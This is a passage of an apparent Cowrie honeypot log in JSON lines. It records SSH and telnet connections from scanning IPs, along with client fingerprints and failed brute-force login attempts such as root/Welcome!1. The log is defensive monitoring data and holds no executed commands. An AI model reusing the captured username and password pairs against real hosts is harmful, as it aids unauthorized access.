a-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:26.923254Z","src_ip":"157.230.18.133","session":"450a23e5d92d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-","password":"www-123","message":"login attempt [www-/www-123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:27.282740Z","src_ip":"157.230.18.133","session":"450a23e5d92d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:28.368092Z","src_ip":"157.230.18.133","session":"450a23e5d92d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58382,"dst_ip":"159.203.135.109","dst_port":23,"session":"82b7cce69f7c","protocol":"telnet","message":"New connection: 170.64.224.25:58382 (159.203.135.109:23) [session: 82b7cce69f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:28.375488Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44910,"dst_ip":"159.203.135.109","dst_port":23,"session":"56f18f438cd7","protocol":"telnet","message":"New connection: 170.64.224.25:44910 (159.203.135.109:23) [session: 56f18f438cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:31.941084Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":38330,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a5e00672526","protocol":"ssh","message":"New connection: 91.92.40.4:38330 (10.17.0.5:22) [session: 2a5e00672526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:45.175721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:45.452343Z","src_ip":"91.92.40.4","session":"2a5e00672526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:45.455709Z","src_ip":"91.92.40.4","session":"2a5e00672526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wpyan","password":"wpyan","message":"login attempt [wpyan/wpyan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:46.303847Z","src_ip":"91.92.40.4","session":"2a5e00672526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:47.440661Z","src_ip":"91.92.40.4","session":"2a5e00672526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":37262,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e05ada8dae2","protocol":"ssh","message":"New connection: 5.182.83.231:37262 (10.17.0.5:22) [session: 8e05ada8dae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:50.969502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:50.973765Z","src_ip":"5.182.83.231","session":"8e05ada8dae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:51.082088Z","src_ip":"5.182.83.231","session":"8e05ada8dae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa111111!","message":"login attempt [ubuntu/Aa111111!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:51.548676Z","src_ip":"5.182.83.231","session":"8e05ada8dae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:52.660261Z","src_ip":"5.182.83.231","session":"8e05ada8dae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.107.77","src_port":52560,"dst_ip":"10.17.0.5","dst_port":22,"session":"455b177450a8","protocol":"ssh","message":"New connection: 185.207.107.77:52560 (10.17.0.5:22) [session: 455b177450a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:53.316046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:53.320379Z","src_ip":"185.207.107.77","session":"455b177450a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:53.412536Z","src_ip":"185.207.107.77","session":"455b177450a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wif123","message":"login attempt [root/wif123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:53.682168Z","src_ip":"185.207.107.77","session":"455b177450a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:54.774083Z","src_ip":"185.207.107.77","session":"455b177450a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.14022994041443,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:09:59.871243Z","src_ip":"170.64.224.25","session":"aea6c3db0495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00343799591064,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:04.015264Z","src_ip":"94.23.66.112","session":"20ba25c9d3ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":45552,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab7c77c9703f","protocol":"ssh","message":"New connection: 162.144.58.21:45552 (10.17.0.5:22) [session: ab7c77c9703f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:16.286571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:16.289790Z","src_ip":"162.144.58.21","session":"ab7c77c9703f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:16.384395Z","src_ip":"162.144.58.21","session":"ab7c77c9703f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RVN!M@st3r#P@ss","message":"login attempt [root/RVN!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:16.656662Z","src_ip":"162.144.58.21","session":"ab7c77c9703f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:17.753123Z","src_ip":"162.144.58.21","session":"ab7c77c9703f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.972407579422,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:22.347774Z","src_ip":"170.64.224.25","session":"82b7cce69f7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.07593536376953,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:30.016925Z","src_ip":"170.64.224.25","session":"56f18f438cd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":49828,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b5e7620be40","protocol":"telnet","message":"New connection: 143.198.154.150:49828 (159.203.135.109:23) [session: 7b5e7620be40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:30.851840Z"}
{"eventid":"cowrie.session.closed","duration":89.41998863220215,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:35.699832Z","src_ip":"137.184.5.188","session":"6895353a6a95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":49460,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c878e0b57df","protocol":"ssh","message":"New connection: 101.32.145.199:49460 (10.17.0.5:22) [session: 9c878e0b57df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:36.371946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:36.375777Z","src_ip":"101.32.145.199","session":"9c878e0b57df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:36.611458Z","src_ip":"101.32.145.199","session":"9c878e0b57df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!1","message":"login attempt [root/Welcome!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:37.601567Z","src_ip":"101.32.145.199","session":"9c878e0b57df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:38.845622Z","src_ip":"101.32.145.199","session":"9c878e0b57df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":35330,"dst_ip":"10.17.0.5","dst_port":22,"session":"d648f41adcd1","protocol":"ssh","message":"New connection: 195.86.192.66:35330 (10.17.0.5:22) [session: d648f41adcd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:44.929172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:44.933444Z","src_ip":"195.86.192.66","session":"d648f41adcd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:45.161921Z","src_ip":"195.86.192.66","session":"d648f41adcd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345Qwer","message":"login attempt [root/12345Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:46.091432Z","src_ip":"195.86.192.66","session":"d648f41adcd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:47.318818Z","src_ip":"195.86.192.66","session":"d648f41adcd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":47778,"dst_ip":"159.203.135.109","dst_port":22,"session":"96bae86ea5f1","protocol":"ssh","message":"New connection: 157.230.18.133:47778 (159.203.135.109:22) [session: 96bae86ea5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:51.517493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:51.523252Z","src_ip":"157.230.18.133","session":"96bae86ea5f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:51.602569Z","src_ip":"157.230.18.133","session":"96bae86ea5f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openfire","password":"openfire","message":"login attempt [openfire/openfire] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:51.955412Z","src_ip":"157.230.18.133","session":"96bae86ea5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:53.039564Z","src_ip":"157.230.18.133","session":"96bae86ea5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60604,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ffceeb986a9","protocol":"telnet","message":"New connection: 170.64.224.25:60604 (159.203.135.109:23) [session: 7ffceeb986a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:10:53.718384Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.44.232.40","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e0472877b14","protocol":"telnet","message":"New connection: 116.44.232.40:43032 (10.17.0.5:23) [session: 1e0472877b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:00.993252Z"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":59928,"dst_ip":"10.17.0.5","dst_port":22,"session":"6996b6cb7779","protocol":"ssh","message":"New connection: 222.108.100.117:59928 (10.17.0.5:22) [session: 6996b6cb7779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:04.509381Z"}
